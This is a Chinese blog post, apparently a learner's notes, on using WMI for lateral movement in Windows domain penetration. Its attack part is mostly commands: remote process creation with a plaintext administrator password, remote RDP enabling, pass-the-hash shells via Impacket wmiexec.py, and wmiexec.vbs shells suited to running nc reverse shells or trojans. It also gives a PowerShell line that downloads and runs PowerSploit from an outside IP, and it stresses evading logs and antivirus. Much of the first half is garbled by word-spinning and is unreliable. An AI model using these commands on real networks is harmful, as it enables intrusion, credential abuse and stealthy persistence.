在内网渗透中,当攻击者获得到内部网某台设备的决策权后,会以被攻占的服务器为起点、跳板,根据搜集域内凭据等各种各样方式,浏览域内别的设备,进一步扩张财产范畴。根据该类方式,攻击者最后很有可能得到域控制器的访问限制,乃至良好控制根据Windows操作系统的全部内部网自然环境,操纵域自然环境下的所有设备。
本文,大家来解读WMI在横向渗入中的应用。
WMI 的应用WMI的全名叫“Windows Management Instrumentation”。从Windows 98逐渐,Windows操作系统都适用WMI。WMI是由一系列工具箱构成的,能够 在当地或是远程访问计算机软件。
自打PsExec以内网里被严苛监管后,愈来愈多的反病毒生产商将PsExec添加了信用黑名单,因此攻击者慢慢逐渐应用WMI开展横向挪动。根据网站渗透测试发觉,在应用wmiexec开展横向挪动时,Windows操作系统默认设置不容易将WMI的操作记录在日志中,另外攻击脚本制作不用载入到硬盘,具备非常高的隐蔽性。由于在这个全过程中不容易造成日志,因此,对网络工程师而言提升了攻击追溯的成本费。而对攻击者而言,其故意个人行为被发觉的概率有一定的减少、隐蔽性逐步提高。从而,愈来愈多的APT逐渐应用WMI开展攻击,运用WMI能够 开展信息收集、检测、反病毒、vm虚拟机检验、指令实行、管理权限分布式锁等实际操作。
WMI 常用命令文档管理wmic fsdir where "drive='c:' and filename='whoami'" list
删掉C盘下的test文件目录
wmic fsdir "c:\\ est" call delete
留意“\\”要开展一下转义
实行以下指令能够 枚举类型出全部系统软件中的全部可执行程序:
wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
wmic 整盘检索某文档并获得该文件所属文件目录
for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)系统软件自然环境设定管理方法
WMIC能够 获取出全部关键安装文件的途径,比如temp文件目录和win文件目录这些:
wmic environment get Description, VariableValue
获得temp系统变量
wmic environment where "name='temp'" get UserName,VariableValue
变更PATH自然环境变量类型,增加c:\\whoami
wmic environment where "name='path' and username=' system>'" set VariableValue="%path%;c:\\whoami"进程管理
列举全部过程信息内容
wmic process list brief
Full表明全部、Brief表明引言、Instance表明案例、Status表明情况
wmic process get processid,name,executablepath获得特定过程可执行程序的途径
wmic process where name="vmtoolsd.exe" get executablepath
wmic process call create "C:\\windows\\system32 otepad.exe"
依据DOS命令建立过程
wmic process call create "cmd.exe /c 'ipconfig'" wmic process call create "shutdown.exe -r -f -t 60"
wmic process where name="notepad.exe" delete管理员账户管理方法
wmic process where pid="244" delete
wmic useraccount wmic useraccount list brief
wmic useraccount where "name='%UserName%'" call rename newUserName // 变更当今登录名计算机软件管理方法
wmic useraccount where "name='Administrator'" call Rename admin // 变更特定登录名
wmic computersystem get domain自动运行程序管理
wmic startup get command,caption管理与服务
wmic service list brief
wmic service where "state='running'" list brief
wmic service where "name='tlntsvr'" call startservice
wmic service where "name='tlntsvr'" call stopservice获得补丁包信息内容
wmic qfe list brief wmic qfe get Caption,Description,HotFixID,IntsalledOn查询域控制器
wmic ntdomain list brief查询安裝的手机软件信息内容
wmic product get name,version远程桌面连接联接
应用WMIC指令打开远程计算机的远程桌面连接联接:
wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 // wmic /node:"[full machine name]" /USER:"[domain]\\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1共享资源管理方法
wmic share list brief wmic share get name,path,status
建立和删掉共享资源
// 创建共享资源 wmic share call create "","test","3","TestShareName","","c:\\whoami",0 (可应用 WMIC SHARE CALL Create /? 查询create后的主要参数种类) // 删掉共享资源 wmic share where "name='C$'" call delete wmic share where "path='c: est'" delete应用WMI开展横向挪动
注:应用WMIC联接远程控制服务器,必须总体目标服务器对外开放135和445端口。(135 端?是 WMIC 默认设置的管理方法端?wimcexec 使?445端?传到显)
远程控制建立过程以下,以administrator客户联接192.168.52.138(DC),并在设备上建立一个过程实行ipconfig指令,将結果载入c:\\result.txt文本文档中:(因为wmic实行远程连接命令沒有回显,因此要将結果载入到txt中)
wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 process call create "cmd.exe /c ipconfig > c:\\result.txt"
// /node:特定将对其开展实际操作的网络服务器
这儿因为我事先与总体目标服务器创建了ipc$联接,因此就不用在wmic特定/user和/password了。
创建ipc$联接后,应用type指令远程控制载入192.168.52.138上的实行結果:
type \\\\192.168.52.138\\c$\\result.txt
重新启动远程计算机
wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 /process call create "shutdown.exe -r -f -m"
应用WMIC远程控制运行命令,在远程控制系统软件中运行WMIC服务项目(总体目标网络服务器必须对外开放其默认设置135端口,WMIC会以访问权限在远程控制系统软件中运行命令)。假如总体目标网络服务器打开了服务器防火墙,WMIC将无法连接。此外因为wmic指令沒有回显,必须应用IPC$和type指令来载入信息内容。必须留意的是,假如WMIC实行的是恶意软件,将不容易留有日志。我们可以应用以下这种专用工具来实行wmi远程连接命令。
WMIEXECwmiexec是对windows内置的wmic干了一些加强,让渗入越来越更非常容易。只有说许多专用工具吧,较为功能强大的在这儿详细介绍几类。wmiexec必须出示账户密码开展远程桌面连接,可是要是没有破译出账户和弱密码,还可以相互配合hach传送或单据引入作用一起应用,先开展传送或引入,随后再应用WMIEXEC就可以。
Impacket中的wmiexec.py该脚本制作关键在从Linux像Windows开展横向渗入时应用,十分强劲,能够 走socks代理商进到内部网。
下载链接:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
必须先免费下载impacket工具箱,这里边有很多专用工具
git clone https://github.com/CoreSecurity/impacket.git ?cd impacket/ ?pip install .
安裝取得成功后,转换到examples文件目录下,运作以下指令获得总体目标系统软件192.168.52.138的shell:
python wmiexec.py administrator: // python wmiexec.py 登录名:登陆密码@总体目标IP
假如对wmiexec.py特定-hashes得话,则可开展hach传送
python wmiexec.py -hashes LM Hash:NT Hash 网站域名/登录名@总体目标IP // hach传送得到shellEXE版本的wmiexec
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
命令与wmiexec.py是一模一样的。运行如下命令获取目标系统192.168.52.138的shell:
wmiexec.exe administrator:
wmiexec.exe主要用在Windows上。
wmiexec.vbs下载地址:Here
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。
wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。
执行如下命令,获得目标主机(192.168.52.138)的一个半交互式的Shell:
cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 administrator Liufupeng123
// cscript用于在Windows中执行脚本
输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)
cscript.exe //nologo wmiexec.vbs /cmd 192.168.52.138 administrator Liufupeng123 "ipconfig"
注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。
由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。
当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。这样就可以运行nc或者木马程序了。
wmiexec.vbs已经被各大厂商杀的死死的了。
使用PowerShell来执行WMI命令Invoke-WmiCommand.ps1下载地址:https://github.com/PowerShellMafia/PowerSploit
Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。
适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。使用如下,在powershell中分别输入如下命令:
IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1') // 下载脚本并导入系统Invoke-WMIMethod.ps1
$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote=Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上
Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。
$User="域名\用户名" // 指定目标系统用户名Ending......
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令
参考:
https://blog.csdn.net/jhsword/article/details/96623333
https://www.freebuf.com/articles/system/182531.html
https://blog.csdn.net/qq_36119192/article/details/102984779
https://blog.csdn.net/qq_27446553/article/details/46008473
《内网安全攻防:渗透测试实战指南》
文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。个人博客:https://whoamianony.top/